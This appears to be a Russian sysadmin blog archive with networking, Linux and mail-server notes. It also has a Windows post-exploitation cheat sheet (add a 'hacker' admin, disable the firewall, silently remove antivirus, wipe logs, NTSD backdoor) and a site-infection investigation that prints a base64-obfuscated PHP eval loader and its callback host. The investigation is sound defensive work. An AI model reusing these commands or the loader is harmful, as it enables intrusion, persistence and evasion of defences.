четверг, 27 декабря 2012 г.

cisco switch bandwidth limit


пример на 50 Мбит

interface FastEthernet1/0/15
 description CLIENT
 switchport access vlan 485
 switchport mode access
 service-policy input INT
 srr-queue bandwidth limit 50
 storm-control broadcast level 10.00
 storm-control multicast level 10.00
 storm-control unicast level bps 50m
 fair-queue
 no cdp enable
 spanning-tree portfast
end

class-map match-any INT
  match access-group name ANY-TO-ANY

policy-map INT
  class INT
    police 50000000 8000 exceed-action drop

пятница, 7 декабря 2012 г.

понедельник, 19 ноября 2012 г.

grep - ее простое и продвинутое использование (+ регулярные выражения)

1). когда нужно дополнительно исполнить команду
grep `whoami` file
когда нужно значение переменной 
grep "$HOME" file

2). использование регулярных выражений
grep -e 'e[a]' file (следование e перед a)
grep -e 'e[^a]' file (следование e перед любым символом не a)

                                                    пояснение метасимволов
совпадение с символом
.                 - лубой 1 символ
[...]            - любой символ из перечисленных символов в скобках (примеры [a-f], [aewsd], [a-fA-F0-5])
[^...]           - любая последовательность из не перечисленных символов в скобках (пример, '..[^24680]'
)
\char          - экранировка спецсимволов (например \$)
совпадение с позицией
^               - начало линии
$               - конец линии
\<              - начало слова
\>              - конец слова
квантификаторы
?                - опции, считать квантификатором
*                - любой номер (в т.ч. 0), общая маска
+                - 1 или больше предшествующих выражений
{N}            - совпадение ровно N раз
{N,}           - совпадение хотя бы N раз
{min,max}  - совпадает в промежутке между этими значениями
Остальные
|                 - совпадает любое из выражений
-                - диапазон
(...)            - используется для указания пределов изменения
\1, \2, ...    - совпадает текст, который встречался в пределах скобок (например, 1-е множество, 2-е множество и т.д.)
\b              - група символов типично выступает концом слова (например, пробел, период и т.д.)
\B             - альтернатива "\\" или обратного слеша, испльзуется для лучшего прочтения
\w            - любой символ "слова" (например, символ, номер, символ подчеркивания)
\W            - любой символ не используемый в "слове" (например, не символ, не номер, не символ подчеркивания)
\`              - старт буфера посланный в grep
\'              - конец буфера посланный в grep


вторник, 25 сентября 2012 г.

apache subdomain virtualhosts

Пример конфига для апача когда есть сабдомены на одном айпи

NameVirtualHost *
<VirtualHost *>
        ServerName articleaday.com
        DocumentRoot /var/www/html/articleaday/
        CustomLog logs/articleaday.access.log combined
        ErrorLog logs/articleaday.error.log
        ServerAlias www.articleaday.com
     <Directory "/var/www/html/articleaday/">
        Options +Indexes +FollowSymLinks +ExecCGI
        AllowOverride All
        DirectoryIndex index.php
        Order allow,deny
        Allow from all
    </Directory>
</VirtualHost>
<VirtualHost *>
        ServerName postfixadmin.articleaday.com
        DocumentRoot /var/www/html/postfixadmin/
</VirtualHost>
<VirtualHost *>
        DocumentRoot /var/www/html/mail/
        ServerName webmail.articleaday.com
</VirtualHost>
<VirtualHost *>
        ServerName phpmyadmin.articleaday.com
        DocumentRoot /var/www/html/phpMyAdmin/
</VirtualHost>





понедельник, 3 сентября 2012 г.

2 свича - 2 линка и MST

На обоих свичах конфигурация

Глобально включить MST и зайти в режим настройки MST выполнив команду
spanning-tree mode mst 
spanning-tree extend system-id
spanning-tree mst configuration
name MST (Имя региона MST)
 revision 1 (MST revision number)
 instance 1 vlan 1-99, 200-299, 400-499, 600-699, 800-899, 1000-1099, 1200-1299
 instance 1 vlan 1400-1499, 1600-1699, 1800-1899, 2000-2099, 2200-2299
 instance 1 vlan 2400-2499, 2600-2699, 2800-2899, 3000-3099, 3200-3299
 instance 1 vlan 3400-3499, 3600-3699, 3800-3899, 4000-4094
 instance 2 vlan 100-199, 300-399, 500-599, 700-799, 900-999, 1100-1199
 instance 2 vlan 1300-1399, 1500-1599, 1700-1799, 1900-1999, 2100-2199
 instance 2 vlan 2300-2399, 2500-2599, 2700-2799, 2900-2999, 3100-3199
 instance 2 vlan 3300-3399, 3500-3599, 3700-3799, 3900-3999

как видим создали 2 MST instance для балансировки вланов по портам, чтобы оба порта работали. Теперь конфигурация интерфейсов

interface GigabitEthernet1/0/1
 description ODF-2 
 switchport trunk encapsulation dot1q
 switchport mode trunk
 switchport nonegotiate
 speed nonegotiate
 spanning-tree link-type point-to-point
 spanning-tree mst 1 port-priority 112
 spanning-tree mst 2 port-priority 144
end

interface GigabitEthernet1/0/2
 description ODF-3 
 switchport trunk encapsulation dot1q
 switchport mode trunk
 switchport nonegotiate
 speed nonegotiate
 spanning-tree link-type point-to-point
 spanning-tree mst 1 port-priority 144
 spanning-tree mst 2 port-priority 112

Как видим разные MST instance имет разные приоритеты на портах - причину смотрим выше.
Объяснение еще одной команды

spanning-tree link-type {point-to-point | shared}
no spanning-tree link-type

Syntax Description
 point-to-point
 Specify that the link type of an interface is point-to-point. 
 shared
 Specify that the link type of an interface is shared.

Defaults
The switch derives the link type of an interface from the duplex mode. A full-duplex interface is considered a point-to-point link, and a half-duplex interface is considered a shared link.
()

Увидеть это также можно вот так

#show spanning-tree interface gi 1/0/1 detail  
 Port 1 (GigabitEthernet1/0/1) of MST00 is designated forwarding 
   Port path cost 20000, Port priority 128, Port Identifier 128.1.
   Designated root has priority 32768, address 001b.0c51.7580
   Designated bridge has priority 32768, address 001b.0c51.7580
   Designated port id is 128.1, designated path cost 0
   Timers: message age 0, forward delay 0, hold 0
   Number of transitions to forwarding state: 4
   Link type is point-to-point, Internal
   Bpdu filter is enabled internally
   BPDU: sent 12217849, received 905090

 Port 1 (GigabitEthernet1/0/1) of MST01 is designated forwarding 
   Port path cost 20000, Port priority 112, Port Identifier 112.1.
   Designated root has priority 32769, address 001b.0c51.7580
   Designated bridge has priority 32769, address 001b.0c51.7580
   Designated port id is 112.1, designated path cost 0
   Timers: message age 0, forward delay 0, hold 0
   Number of transitions to forwarding state: 4
   Link type is point-to-point, Internal
   Bpdu filter is enabled internally
   BPDU: sent 12217849, received 905090

 Port 1 (GigabitEthernet1/0/1) of MST02 is designated forwarding 
   Port path cost 20000, Port priority 144, Port Identifier 144.1.
   Designated root has priority 32770, address 001b.0c51.7580
   Designated bridge has priority 32770, address 001b.0c51.7580
   Designated port id is 144.1, designated path cost 0
   Timers: message age 0, forward delay 0, hold 0
   Number of transitions to forwarding state: 3
   Link type is point-to-point, Internal
   Bpdu filter is enabled internally
   BPDU: sent 12217849, received 905090

#show spanning-tree summary
Switch is in mst mode
Root bridge for: MST00-MST02
Extended system ID           is enabled
Portfast Default             is disabled
PortFast BPDU Guard Default  is disabled
Portfast BPDU Filter Default is disabled
Loopguard Default            is disabled
EtherChannel misconfig guard is enabled
UplinkFast                   is disabled
BackboneFast                 is disabled
Configured Pathcost method used is short (Operational value is long)

Name                   Blocking Listening Learning Forwarding STP Active
---------------------- -------- --------- -------- ---------- ----------
MST00                        0         0        0          8          8
MST01                        0         0        0          7          7
MST02                        0         0        0          6          6
---------------------- -------- --------- -------- ---------- ----------
3 msts                       0         0        0         21         21

На другом свиче все аналогично только в конфиге свича добавлена одна строка

interface GigabitEthernet1/0/2
 description ODF-3
 switchport trunk encapsulation dot1q
 switchport mode trunk
 speed nonegotiate
 spanning-tree link-type point-to-point
 spanning-tree mst pre-standard
 spanning-tree mst 1 port-priority 144
 spanning-tree mst 2 port-priority 112

When you connect the prestandard MST switch with the standard MST switch, you need to configure spanning-tree mst pre-standard in the interface of the standard MST switch. 
Catalyst 3550/3560/3750: TheMST implementation in Cisco IOS Release 12.2(25)SEC is based on the IEEE 802.1s standard. The MST implementations in earlier Cisco IOS releases are prestandard. 
То есть если у вас версия => 12.2(25)SEC то эта командочка не нужна.

Все это также можно посмотреть если заюзать команду

#show spanning-tree mst

###### MST00        vlans mapped:   none
Bridge      address 001b.0c51.7580  priority  32768 (32768 sysid 0)
Root        this switch for CST and IST
Configured  hello time 2, forward delay 15, max age 20, max hops 20

Interface        Role Sts Cost      Prio.Nbr Type
---------------- ---- --- --------- -------- --------------------------------
Gi1/0/1          Desg FWD 20000     128.1    P2p
Gi1/0/2          Desg FWD 20000     128.2    P2p
Fa1/0/1          Desg FWD 200000    128.3    P2p Bound(PVST)
Fa1/0/3          Desg FWD 200000    128.5    Shr
Fa1/0/6          Desg FWD 200000    128.8    P2p
Fa1/0/22         Desg FWD 200000    128.24   P2p
Fa1/0/23         Desg FWD 200000    128.25   P2p
Fa1/0/24         Desg FWD 200000    128.26   P2p

###### MST01        vlans mapped:   1-99,200-299,400-499,600-699,800-899
                                     1000-1099,1200-1299,1400-1499,1600-1699
                                     1800-1899,2000-2099,2200-2299,2400-2499
                                     2600-2699,2800-2899,3000-3099,3200-3299
                                     3400-3499,3600-3699,3800-3899,4000-4094
Bridge      address 001b.0c51.7580  priority  32769 (32768 sysid 1)
Root        this switch for MST01

Interface        Role Sts Cost      Prio.Nbr Type
---------------- ---- --- --------- -------- --------------------------------
Gi1/0/1          Desg FWD 20000     112.1    P2p
Gi1/0/2          Desg FWD 20000     144.2    P2p
Fa1/0/1          Boun FWD 200000    128.3    P2p Bound(PVST)
Fa1/0/3          Desg FWD 200000    128.5    Shr
Fa1/0/6          Desg FWD 200000    128.8    P2p
Fa1/0/23         Desg FWD 200000    128.25   P2p
Fa1/0/24         Desg FWD 200000    128.26   P2p

###### MST02        vlans mapped:   100-199,300-399,500-599,700-799,900-999
                                     1100-1199,1300-1399,1500-1599,1700-1799
                                     1900-1999,2100-2199,2300-2399,2500-2599
                                     2700-2799,2900-2999,3100-3199,3300-3399
                                     3500-3599,3700-3799,3900-3999
Bridge      address 001b.0c51.7580  priority  32770 (32768 sysid 2)
Root        this switch for MST02

Interface        Role Sts Cost      Prio.Nbr Type
---------------- ---- --- --------- -------- --------------------------------
Gi1/0/1          Desg FWD 20000     144.1    P2p
Gi1/0/2          Desg FWD 20000     112.2    P2p
Fa1/0/1          Boun FWD 200000    128.3    P2p Bound(PVST)
Fa1/0/3          Desg FWD 200000    128.5    Shr
Fa1/0/22         Desg FWD 200000    128.24   P2p
Fa1/0/24         Desg FWD 200000    128.26   P2p

вторник, 14 августа 2012 г.

kloxo apache и ошибка "open_basedir restriction in effect"

В kloho панели может возникать такая ошибка

Warning: is_dir() [function.is-dir]: open_basedir restriction in effect. File(/dev/shm/6848856145029f5d60788d.tmp) is not within the allowed path(s): (/home/admin:/home/admin/kloxoscript:/home/neff.net:/home/neff.net/httpdocs:/tmp:/usr/share/pear:/var/lib/php/session/:/home/kloxo/httpd/script) in /home/admin/neff.net/news/installer.php on line 374

это возникает потому что в конфиге для данного вирутального хоста /home/apache/conf/exclusive/neff.net.conf
есть секция
             

                        php_admin_value open_basedir "/home/admin:/home/admin/kloxoscript:/home/neff.net:/home/neff.net/httpdocs:/tmp:/usr/share/pear:/var/lib/php/session/:/home/kloxo/httpd/script:/dev/shm"
             

                        php_admin_value open_basedir "/home/admin:/home/admin/kloxoscript:/home/neff.net:/home/neff.net/httpdocs:/tmp:/usr/share/pear:/var/lib/php/session/:/home/kloxo/httpd/scripti:/dev/shm"

то что я добавил выделено жирным. И конечно рестартануть апач.



понедельник, 9 июля 2012 г.

mailman, настройка и глюки

На redhat es 5.8 был поставлен из пакета (особенность работы на сервере используется не настоящее доменное имя а имя в локальной сети)

1). Создание списков рассылки:
http://10.1.1.2/mailman/create — проще но не работает
/usr/lib/mailman/bin/newlist -u redhat (обязательно имя www hosta для правильно работы апача)
/usr/lib/mailman/bin/genaliases (необязательно — работае без него, он создает файл алиасов и включает туда алиасы для всех рассылок )
файл /etc/mailman/aliases (генерятся или при создании рассылки или /usr/lib/mailman/bin/genaliases) редактируют
postmap /etc/mailman/aliases  - НЕ РАБОТАЕТ !!!
postalias /etc/mailman/aliases
и тогда /etc/mailman/aliases.db получается нормальным
(теперь ваши псевдонимы сгенерированы, проверьте, что они добавлены правильно)
cat /etc/mailman/aliases

2). Удаление писем из архива рассылок:
cd /var/lib/mailman/archives/private/  # public (здесь симлинки на архивы в папке /var/lib/mailman/archives/private/)
rm -rf mailinglist
cd /var/lib/mailman/archives/private/test.mbox
edit test.mbox, удалите линии касательно удаляемых сообщений
Скрипт для очистки архива >
cat /root/scripts/mailman.sh
#!/bin/sh
rm -fR /var/lib/mailman/archives/private/*
for i in book eset everyone mailman memory order robota sales shipping software
        do
                mkdir /var/lib/mailman/archives/private/$i.mbox/
                touch /var/lib/mailman/archives/private/$i.mbox/$i.mbox
                mkdir /var/lib/mailman/archives/private/$i
                chown -R root.mailman /var/lib/mailman/archives/private/$i*
                /usr/lib/mailman/bin/arch $i
        done
запуская в 2 часа ночи 1 января
crontab -l
00 02 01 01 * /root/scripts/mailman.sh >/dev/null 2>&1
/usr/lib/mailman/bin/arch mailinglist

3). Удаление рассылки:
/usr/lib/mailman/bin/rmlist -a listname
(удалите также ссылки  /etc/mailman/aliases и  /etc/mail/virtusertable, if necessary)
http://10.1.1.2/mailman/admin/test — управление листами подписки
http://10.1.1.2/mailman/listinfo/test - підпись участников на список рассылки
Сброс пароля списка рассылки
/usr/lib/mailman/bin/change_pw -l listname -p newpass (без @ в названии списка рыссылки)

4). Базовые настройки новой подписки:
4.1). Общие
Если сообщение удержано для обработки, извещать об этом отправителя? - Нет
Должен ли модератор списка получать отдельные извещения о запросах наряду с их ежедневными подборками? - Нет
Максимальная длина (Кб) тела сообщения. Нулевое значение снимает ограничения. - 10000
Discard held messages older than this number of days. Use 0 for no automatic discarding.  - 1
4.2). Параметры обычной доставки
Нижний колонтитул, добавляемый к сообщениям для пользователей, предпочитающих обычную доставку - очистить 
4.3). Параметры приватности
4.3.1) Правила подписки
Кто может просматривать список подписчиков — только администратор подписки !!!
4.3.2) Фильтрация отправителей
Действия, которые нужно предпринять, если отправитель не входит ни в один из перечисленных выше списков. - Принять 
Еще (борьба со спамом)
Общие 
Отправлять заключительное сообщение пользователям, удаляющим свою подписку? - нет
Если сообщение удержано для обработки, извещать об этом отправителя? - нет
Проверять сообщения и перехватывать из них те, что похожи на административные запросы? - нет
Отправлять приветственное сообщение новым подписчикам? - нет
!!! Если хотим принимать письма со скрытыми адресатами то идем — Параметры приватности -> Фильтрация получателей -> Должны ли исходные значения полей To: и CC: заменяться адресом списка рассылка (если это не псевдонимы списка, указанные ниже)? и ставим Нет 
!!!Глюки!!! если долго не доходят письма в рассылку а также если не октрывается веб интерфейс управления какой-нибудь рассылкой чистим
/var/lock/mailman/
также
/var/spool/mailman/shunt/ - размер 2,7G
решение
mkdir /tmp/mail
find  -type f -ctime -1 | xargs mv -t /tmp/mail/ (сегодняшние файлы)
rm -f /var/spool/mailman/shunt/*
mv /tmp/mail/*  /var/spool/mailman/shunt/
rm -fR /tmp/mail/
разблокируем новые
/usr/lib/mailman/bin/unshunt
Нихрена не помогло
/var/spool/mailman/archive/ 
/var/spool/mailman/in/
содержат кучу файлов
/usr/lib/mailman/bin/show_qfiles (очередь)
/usr/lib/mailman/bin/show_qfiles /var/spool/mailman/in/*.pck *- конкретный файл указываем

Backup (какие файлы)
/usr/lib/mailman/Mailman/Defaults.py 
/usr/lib/mailman/Mailman/mm_cfg.py

Глюки
с некоторого момента при заходе по веб на один из списков рассылки ошибка и начинает медленно и уверенно рости потребление проца питоном - поэтому удалил mailman и сделал рассылку через алиасы в postfix.

вторник, 3 июля 2012 г.

VBR-руткит (Trojan.Mayachok) и как его обнаружить

Пуск -> выполнить -> cmd
echo Hello >null
если ничего не, то система не заражена, в противном случае вы увидите
The system can not find the file specified.

(Источник статья VBR-руткит (Александр Єккерт) Хакер 02/157/2012 - стр. 80)

четверг, 28 июня 2012 г.

поиск через google.com

1. Исключение из Google поиска
Чтобы исключить из поисковой выдачи какое либо слово, фразу, символ и т.п., достаточно перед ним поставить знак "-” (минус), и оно не появится в результатах поиска.
Для примера, я ввёл в строку поиска следующую фразу: "бесплатный хостинг – ru” и в поисковой выдаче нет ни одного .ru сайта, кроме оплаченных рекламных объявлений.

2. Поиск по синонимам
Используйте символ "~” для поиска схожих слов к выбранному. Например в результате выражения: "~лучшие фильмы -лучшие" вы увидите все ссылки на страницы, содержащие синонимы слова "лучшие”, но ни одно из них не будет содержать этого слова.

3. Неопределённый поиск
На тот случай, если вы не определились с конкретным ключевым словом для поиска, поможет оператор "*”.
Например фраза "лучший редактор * изображений” подберёт лучшие редакторы для всех типов изображений, будь то цифровые, растровые, векторные и т.д.

4. Поиск на выбор из вариантов
Используя оператор "|”, можно осуществить Google поиск по нескольким сочетаниям фраз, заменяя несколько слов в различных местах.
Например, введём фразу "купить чехол | ручку” выдаст нам страницы, содержащие либо "купить чехол”, либо "купить ручку”

5. Значение слова
Чтобы узнать значение того или иного слова, достаточно ввести в поисковую строку "define:” и после двоеточия искомую фразу.

6. Точное совпадение
Для нахождения точного совпадения поисковой выдачи с запросом достаточно заключить ключевики в кавычки.

7. Поиск по определённому сайту
Чтобы осуществить поиск ключевых слов только по одному сайту, достаточно прибавить к искомой фразе следующий синтаксис – "site:”.

8. Обратные ссылки
Чтобы узнать расположение ссылок на интересующий сайт, достаточно ввести следующий синтаксис: "links:” и далее адрес интересующего сайта.

9. Конвертер величин
Поисковая система Google также умеет конвертировать величины по запросу пользователя.
Например, нам нужно узнать, сколько составляет 1 кг в фунтах. Набираем следующий запрос: "1 кг в фунтах”

10. Конвертер валют
Для того, чтобы узнать курс валют по официальному курсу, набираем следующий поисковой запрос: "1 [валюта] в [валюта]”

11. Время по городу
Если хотите узнать время по какому либо городу, то используйте синтаксис: "time” или русский аналог "время" и название города.

12. Google калькулятор
Google умеет считать онлайн! Достаточно вбить пример в строку поиска и он выдаст результат.

13. Поиск по типам файлов
Если вам необходимо найти что-то по конкретному типу файла, то у Google есть оператор "filetype:” который осуществляет поиск по заданному расширению файла.

14. Поиск кэшированной страницы
У Google есть собственные сервера, где он хранит кэшированные страницы. Если нужна именно такая, то воспользуйтесь оператором: "cached:”

15. Прогноз погоды по городу
Ещё одним оператором поиска у Google является оператор погоды. Достаточно вбить "weather” и город, как вы увидите, будет у вас дождь или нет
Изображение

16. Переводчик
Можно переводить слова сразу, не отходя от поисковика. За перевод отвечает следующий синтаксис: "translate [слово] into [язык]”

понедельник, 7 мая 2012 г.

windows консоль полезные команды

1). работа с сетью


ipconfig /displaydns - локальный DNS-кеш
netstat -nabo - все сетевые подключения (b - имена процессов, которые установили эти соединения, нужны административные права)
netstat -s -p [tcp|udp|icmp|ip] - статистика и список соединений по протоколу
netstat -r (route print) - таблица маршрутизации
netstat -na | findstr :465 - аналог grep для соединение на определенном порту
net view - SMB хосты сети
net user balabuh /domain - сведения о пользователе balabuh, /domain если он доменный (членство в группах, когда последний раз логинился и т.д.)
net accounts /domain - политику паролей в домене, локально без ключа в конце
net localgroup admins /domain - членов группы admins, локально без ключа в конце
net config workstation - вся информация о пк и пользователе
net share - отрытые шары на пк
type %WINDIR%\System32\drivers\etc\hosts - аналог сat для файла

2). иформация о системе

whoami /all - аналог линуха whoami (также членство в группах, привилегии)
qwinsta - кто работает с сервером удаленно по RDP
ver - версия ядра (в линухе uname)
set - вывод переменных окружения
systeminfo (XP+) - куча инфы о системе
qprocess* - список процессов
qappsrv - список терминальных сервисов
schtasks /query /fo csv /v > %TEMP% - выводит все запланированные задания в csv формате
at - запланированные задачи. Ее можно использовать для поднятия привилегий (нужен администратор) до SYSTEM -> at 15:00 /interactive "d:\temp\1.bat"
schtasks (XP+) - выводит запланированные задания (не требует админских прав в отличии от at)
net start (sc query) - запущенные сервисы
sc getkeyname "имя службы" - получаем key name нужного нам сервиса
sc queryex "полученный key name" - получаем инфу о PID, статус сервиса и т.д.
tasklists (XP+) - список процессов
taskkill [/f] /pid
taskkill [/f] /im - убивает процесс по имени или PID
fsutil fsinfo drives - диски в системе
gpresult /z - большой отчет о групповых политиках

3). работа с логами

wevtutil el (win2008) - список логов  
wevtutil qe (win2008) - конкретный лог
wevtutil cl (win2008) - удаление лога
del %WINDIR%\*.log /a /s /q /f - то же только все логов из папки виндовс

4). удаленный доступ
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /get-features - права админа, позволяет включить telnet, ftp-клиент на 7, VistaSP1, 2008
%windir%\System32\cmd.exe /c "%SystemRoot%\system32\Dism.exe" /online /enable-features /featurename:TFTP - включаем TFTP, ftp-клиент (tftp.exe) можем использовать для загрузки файлов в систему
Ntsd-server tcp:port=1337 cal.exe - включаем отладчик (ниже висты, находится в system32/ntsd.exe). То есть подключаем отладчик к процессу какому-нибудь (1 команда), конектимся к нему (2 команда) и вводим .shell и получаем доступ к командной строке (NTSD Backdoor)
Ntsd-remote tcp:server=,port=1337
net use - подключение шар

5). реестр

reg save HKLM\Security security.hive - сохраняем ветку в файл. (SAM - нужны права админа)
red add [\\TargetIPaddr\][RegDomain][\Key] - добавление ключа в реестр (RED ADD HKLM\Software\MyCo /v Date /t REG_BINARY /d fe123edr)
reg export [RegDomain]\[Key][FileName] - импорт в реестр
reg query [\\TargetIPaddr\][RegDomain][\Key] /v [Valuename!] - поиск по реестру 

6). поиск файлов

tree C:\ /f /a > C:\output.txt - вывод директорий в виде дерева в файл
dir \ /s /b | find /l "search string" -  ищет по директориям корня (\) и поддиректориям (/s) используя формат base (/b) строку (может быть в названии или пути к файлу)

7). WMIC (Windows Management Interface console)

wmic baseboard get Manufacturer, Model, Product, SerialNumber, Version - объектом может быть также (computersystem, bios, etc), здесь снимаем инфу о материнке
wmic nicconfig get caption, macaddress, ipaddress, DefaultIPGateway - получение инфы о сетевых адаптерах: названия, МАС-адреса и т.д.
wmic nicconfig where "IPEnabled"='TRUE' and DNSDomain IS NOT NUL" get DefaultIPGateway, DHCPServer, DNSDomain, DNSHostName, DNSServerSearchOrder, IPAddress, IPSubnet, MACAddress, WINSEenableLMHostsLookup, WINSPrimaryServer, WINSSEcondaryServer /format:list - подробная инфа об активных сетевых адаптерах
wmic printer get Caption, Default, Direct, Description, Local, Shared, Sharename, Status - получение списка принтеров с их параметрами (сетевые имена также)
wmic os get dootdevice, caption, csname, currenttimezone, installdate, servicepackmajorversion, servicepackminorversion, systemdrive, version, windowsdirectory /format:list - извлечение инфы о системе
wmic product get Caption, InstallDate, Vendor - список установленных программ
wmic path win32_product where "name = 'HP Software Update'" call Uninstall - удаление программы HP Software Update

8). воздействие на систему
net user hacker hacker add - добавление пользователя hacker с таким же паролем
net localgroup administartors /add hacker (hacker /add) - добавление пользователя в групу
net share nothing$=C:\/grant:hacker, FULL /unlimited - расшарить C на полные права для пользователя
net user username /active:yes /domain - разблокировать пользователя
netsh firewall set optmode disable - выключить виндовый фаервол
wmic product get name /value - список софта
wmic product where name="XXX" call uninstall /nointeractive - удаление проги незаметно (например антивирус)
rundll32.exe, user32.dll, LockWorkStation - лочит экран пользователя

(источник Хакер 01/2012 стр. 46 "Правила постэкплуатации")

пятница, 30 марта 2012 г.

поиск вируса на сайте с помощью отличных утилит tcpdump и strace

смотрим куда конектится сервер (эти левые конекты спалил случайно по netstat -ant)
tcpdump -n src host 19.169.88.18 and dst port 80

смотрим процесс, который это делает
lsof -i | grep 77.72.133.152

php      20137 generation    4u  IPv4 4057556730      0t0  TCP node.generationua.com:56272->77.72.133.152:http (SYN_SENT)
php      20139 generation    4u  IPv4 4057558719      0t0  TCP node.generationua.com:56373->77.72.133.152:http (SYN_SENT)

так можно посмотреть какая команда выполняется
cat /proc/20137/cmdline

можно также так
ps aux | grep php

generation  20170  6.3  4.3 165940 16436 ?        S    10:56   0:00 /usr/bin/php-cgi php
generation  20172  6.6  4.4 165888 16732 ?        S    10:56   0:00 /usr/bin/php-cgi php

а данная команда покажет даже родительский процесс
ps auxf

apache   19876  0.0  2.6 303452 10040 ?        S    10:41   0:00  \_ /usr/sbin/httpd
generation  20257  1.1  4.3 165924 16568 ?        S    11:00   0:00  |   \_ /usr/bin/php-cgi php
apache   20132  0.0  2.6 303452 10032 ?        S    10:53   0:00  \_ /usr/sbin/httpd
generation  20254  0.4  4.6 166672 17456 ?        S    11:00   0:00  |   \_ /usr/bin/php-cgi php
apache   20182  0.0  2.6 303452  9988 ?        S    10:56   0:00  \_ /usr/sbin/httpd
generation  20252  0.3  4.4 166152 16856 ?        S    11:00   0:00      \_ /usr/bin/php-cgi php

Переустановка апача не помогла, по подсказке мудрого другана поменял строку tcpdump
tcpdump -nN -A -s 0 src host 19.169.88.18 and dst port 80
где
-s 0 - захватывает весь пакет а не 64 байта
-A - печатать данные из пакетов в ANSI (-x hex)
-N - не печатать доменную часть имени

E..H.d@.@.......MH...k.P.2...F..P...J...GET /lnk.php?c=utf&s= HTTP/1.0

08:55:30.694531 IP 19.169.88.18.45931 > 77.72.133.152.http: P 32:58(26) ack 1 win 5840
....MH...k.P.2...F..P...3...Host: itdspartners.org

а также

08:59:24.018846 IP 19.169.88.18.33997 > 92.241.161.54.http: P 0:100(100) ack 1 win 46
E...*>@.@.......\..6...Pz...n6pj...........
.Z...9..GET http://gcounter.cn/info.php?i=19.169.88.18 HTTP/1.0

то есть запросы вируса выглядят
http://gcounter.cn/info.php?i=
itdspartners.org/lnk.php?c=utf&s=

выполнил поиск по коду
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
где
-n - печатает строку в файле где найден код
-H - печатает имя файла

ничего не нашло, попробовал по совету другана такие запросы
find ./ -type f -exec grep -nH -i info.php?i= {} \;
find ./ -type f -exec grep -nH -i file_get_contents\ \(\'http\:\/\/ {} \;
find ./ -type f -exec grep -nH -i gcounter.cn {} \;
find ./ -type f -exec grep -nH -i file_get_contents {} \; | grep http

нифига не нашло, попробовал

strace -ff -tt -p 16344 -o 1.txt

grep -i 92.241.161.54 *
1.txt.17979:15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)

less 1.txt.17979

перед строкой

15:19:44.639154 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("92.241.161.54")}, 16) = -1 EINPROGRESS (Operation now in progress)

читался файл

15:19:44.628456 open("/var/www/generationua.com/shop/quantityorder_max.inc.php", O_RDONLY) = 3

в нем есть часть

$cjyeimkm = base64_decode("aWY.....X0=");
function wbbehkjtmnq()
{
    $orb = "ipj";
    $qsodot = "ykt";
    $ddlaff = "rsir";
    $adj = "evyew";
    $qtvu = "wyg";
}
eval($cjyeimkm);

расшифровал base64_decode так

perl -MMIME::Base64 -e 'print decode_base64("aWY.....X0=");'

получилось тело вируса а в нем так же была еще одна зашифрованная часть

}$vrnan_yur=qqtk_vabc(base64_decode("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw")

после

perl -MMIME::Base64 -e 'print decode_base64("aHR0cDovL2djb3VudGVyLmNuL2luZm8ucGhw");'
http://gcounter.cn/info.php

мы наконец получили gcounter.cn за которым так долго охотились

код вируса

$cjyeimkm = base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFmdW5jdGlvbl9leGlzdHMoInBuanpra195d2liaiIpICYmICFmdW5jdGlvbl9leGlzdHMoInp6aW9fcWV3cGciKSAmJiAhZnVuY3Rpb25fZXhpc3RzKCJxcXRrX3ZhYmMiKSAmJiAhaXNzZXQoJEdMT0JBTFNbImVlZCJdKSAmJiBAc3RycG9zKHN0cnRvbG93ZXIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKSwiZ29vZ2xlYm90IikgPT09IGZhbHNlICYmIEBzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0pLCJtc25ib3QiKSA9PT0gZmFsc2UgJiYgQHN0cnBvcyhzdHJ0b2xvd2VyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSksInlhaG9vIikgPT09IGZhbHNlICYmICFpc3NldCgkX0NPT0tJRVsiY29va2llX3Rlc3QiXSkgKXskR0xPQkFMU1siZWVkIl0gPSAxO3NldGNvb2tpZSgiY29va2llX3Rlc3QiLCAxLCB0aW1lKCkrMzYwMCoyNCoyLCAiLyIpOyAgICAgICAgICAgIGZ1bmN0aW9uIHp6aW9fcWV3cGcoJGd6ZW5jb2RlX2FyZykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkeCA9IEBvcmQoQHN1YnN0cigkZ3plbmNvZGVfYXJnLCAzLCAxKSk7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ID0gMTA7CiAgICAgICAgICAgICAgICAgICAgJHNoaWZ0MiA9IDA7CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjQgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVucGFjaz1AdW5wYWNrKCJ2Iiwgc3Vic3RyKCRnemVuY29kZV9hcmcsIDEwLCAyKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR1bnBhY2s9JHVucGFja1sxXTsgJHNoaWZ0Kz0gMiArICR1bnBhY2s7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKCAkeCY4ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjE2ICkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzaGlmdCA9IEBzdHJwb3MoJGd6ZW5jb2RlX2FyZywgY2hyKDApLCAkc2hpZnQpICsgMTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoICR4JjIgKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNoaWZ0ICs9IDI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRnemlwID0gQGd6aW5m